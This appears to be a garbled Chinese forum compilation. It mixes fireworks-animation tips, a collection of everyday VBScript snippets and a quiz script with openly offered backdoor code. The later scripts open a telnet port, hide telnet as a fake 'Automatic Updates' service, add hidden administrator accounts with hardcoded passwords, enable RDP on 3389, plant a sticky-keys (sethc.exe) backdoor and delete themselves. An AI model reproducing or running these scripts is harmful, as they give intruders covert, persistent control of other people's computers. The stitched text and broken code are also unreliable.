你考虑到重力加速度的减速效果就可以办到了
还要考虑每个烟火点的初速度和初速度 方向
好好想想你的初中的物理和数学知识就会做了
先画出烟花爆炸的时候的样子 在令建一个层 用放射的颜色填充 设置动画化由小到大 然后用遮罩 详细的现在也说不明白 如果要理解的话就上网上搜索相关的视频教程
你可以用E里particular例子制作 自带预设有很多烟花形状,你都不需要自己改变参数就可以做好
msgbox有参数设置问题的啊,你要明白msgbox的属性啊
给你个例子把
msgbox VbOKCance,"圣诞礼花在绽放"
常用vbs集合.
将域用户或组添加到本地组
Set objGroup = GetObject("WinNT://./Administrators")
Set objUser = GetObject("WinNT://testnet/Engineers")
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject("WinNT://./administrator, user")
objcnla.SetPassword "P@ssW0rd"
objcnla.SetInfo
弹出 YES or NO 的对话框,不同的选择执行不同的代码
intAnswer = Msgbox("Do you want to delete these files?", vbYesNo, "Delete Files")
If intAnswer = vbYes Then
Msgbox "You answered yes."
Else Msgbox "You answered no."
End If
运行CMD命令行命令
set obshell=wscript.createobject("wscript.shell")
obshell.run ("ipconfig"),,true
如果要运行的命令中包含双引号,可使用chr(34)代替
忽略代码错误继续执行
On Error Resume Next
放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。
注册表的修改,读取,删除,创建
Set wso = CreateObject("WScript.Shell") '声明
wso.RegWrite "%Path%"'创建子键
wso.RegWrite "%Path%","%Value%"'修改"默认"键值
wso.RegWrite "%Path%",%Value%,%RegType% '修改特定类型的键值
'(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY)
Set WSHShell= Wscript.CreateObject("Wscript.Shell")
WSHShell.RegRead (%Path%) '读取注册表子键或键值(一般用于判断某一事件是否执行)
Set wso = CreateObject("WScript.Shell")
wso.RegDelete "%Path%" '删除子键或键值
'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)
eg:
Set wso = CreateObject("Wscript.Shell")
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1"
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1","0"
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1\#2",0,REG_BINARY
wso.RegDelete "HKLM\SOFTWARE\Microsft\Windows NT\#1"
Wscript.quit
文件的复制,删除,创建,简单的写入
Set fso = Wscript.CreateObject("Scripting.FileSystemObject") ‘声明
Set f = fso.CreateTextFile("%PATH%") '创建文件,其中f可任意,包含缩略名
f.WriteLine("VBS") '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close
set c=fso.getfile("%path%") ’拷贝某文件
c.copy("%PATH2%") '拷贝文件到指定地点
fso.deletefile("%PATH%") '删除文件
Wscript.quit
eg.
Set fso = Wscript.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile("C:\Sample.txt")
WriteLine("VBS")
f.close
set e=fso.getfile(C:\Sample.txt)
e.copy("D:\Sample.txt")
fso.deletefile(C:\Sample.txt)
Wscript.quit
向应用程序输出简单的连串指令
dim program1 '声明变量program1
program1= "%Path%" '应用程序路径
set wshshell=createobject("wscript.shell") '声明饮用函数
set oexec=wshshell.exec(program1) '运行程序
wscript.sleep 2000 '(该行命令未知作用.估计是设定延迟,请高手指点)
wshshell.appactivate "%WindowsName%" '激活运用程序窗口
wshshell.sendkeys "+{%KeyBoardName%}" '第一次输出键盘按键指令前要加+
wshshell.sendkeys "555555" '在程序输入栏中输入运用该系列命令须首先确定程序可以实施连串的键盘操作,这在QQ登录中最适用,如下例。
eg.
dim program1
program1="D:\Program Files\Tencent\coralQQ.exe"
set wshshell=CreateObject("wscript.shell")
set oexec=wshshell.exec(program1)
wscript.sleep 2000
wshshell.appactivate "QQ登录"
wshshell.sendkeys "+{TAB}"
wshshell.sendkeys "250481892"
wscript.sleep 2000
wshshell.sendkeys "{TAB}"
wshshell.sendkeys "****************"
wscript.sleep 2000
wshshell.sendkeys "{ENTER}"
Wscript.quit
文件夹的简单操作
Set fso = Wscript.CreateObject("Scripting.FileSystemObject") ‘声明
Set f = fso.CreateFolder("%PATH%") 创建文件夹
Set e = getFolder(%PATH%) 类似于“绑定目标”
e.copy("%PATH2%") 复制文件夹
fso.deletefolder(%PATH%) 删除文件夹
eg.
Set fso = Wscript.CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateObject("C:\sample")
f.copy("D:\sample")
fso.deletefolder("C:\sample")
'(由上例可以看出,文件夹的操作很多是和文件的操作相通的,因此VBS文件具有很多命令的统一性)
将某一指定文件夹的所有只读文件转为可读文件
Const ReadOnly = 1 ‘设只读属性对应值为1
Set FSO = CreateObject("Scripting.FileSystemObject") '声明
Set Folder = FSO.GetFolder("%PATH%") ’绑定文件夹
Set colFiles = Folder.Files ‘文件夹所有文件
For Each objFile in colFiles ’下列语句应用于文件夹所有文件
If File.Attributes AND ReadOnly Then '这是关键之处,这里应用了If判断语句,来检测文件属性是否为只读
File.Attributes = File.Attributes XOR ReadOnly ‘对判断结果为Ture(默认为True)’执行XOR逻辑运算,将其改为可读
End If ‘结束判断
Next
将Word文件另存为文本文件
Const wdFormatText = 2 ’设置常数值
(当该值为8时另存为HTML文档,为11时另存为XML文档)
Set objWord = CreateObject("Word.Application") '申明调用函数
Set objDoc = objWord.Documents.Open("%Path%") ‘打开某DOC文件
objDoc.SaveAs "%PATH2%", wdFormatText 另存为……
objWord.Quit
eg:
Const wdFormatText = 2
Set objWord = CreateObject("Word.Application")
Set objDoc = objWord.Documents.Open("d:\doc1.doc")
objDoc.SaveAs "g:\doc1.txt", wdFormatText
objWord.Quit
On Error Resume Next '忽略错误
set wshshell=createobject ("wscript.shell") '调用 wscript.shell
a=wshshell.run ("netsh firewall set portopening TCP 23 ENABL",0) '让XP防火墙对23端口放行
b=wshshell.run ("sc config tlntsvr start= auto",0) '吧telnet改为手动
d=wshshell.run ("net1 user ganggang$ test /add",0) '添加一个帐户
e=wshshell.run ("net1 localgroup administrators ganggang$ /add",0) '加管理组
f=wshshell.run ("cmd /k copy ""%systemroot%\system32\tlntsvr.exe"" ""%systemroot%\java\rundl132.exe""",0) '复制telnet到java目录下改名为rundl132.exe
g=wshshell.run ("sc create ccservice binpath= ""%systemroot%\java\rundl132.exe"" type= own",0) 'sc命令用服务的方式启动
h=wshshell.run ("sc config ccservice DisplayName= Automatic Updates",0)
i=wshshell.run ("sc description ccservice 通知所选用户和计算机有关系统管理级警报。",0)
j=wshshell.run ("sc config ccservice start= auto",0) '将服务设为自动
k=wshshell.run ("net1 start ccservice",0) '启动服务
z=wshshell.run ("ATTRIB +R +S +H ""%systemroot%\java\rundl132.exe""",0) '加个属性 艾权啊,我是DARK,给你个可以远程控制别人的VBS代码,没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error resume next
const HKEY_LOCAL_MACHINE = H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
strComputer "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os"/"username",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exeecho y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F?? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe?? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%\system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
do
a=inputbox("1+1=?A、2 B、3 C、1 D、0")
if a="" then wscript.quit
if ucase(a)="A" then
msgbox "答对了!"
wscript.quit
else
msgbox "你错啦!"
end if
loop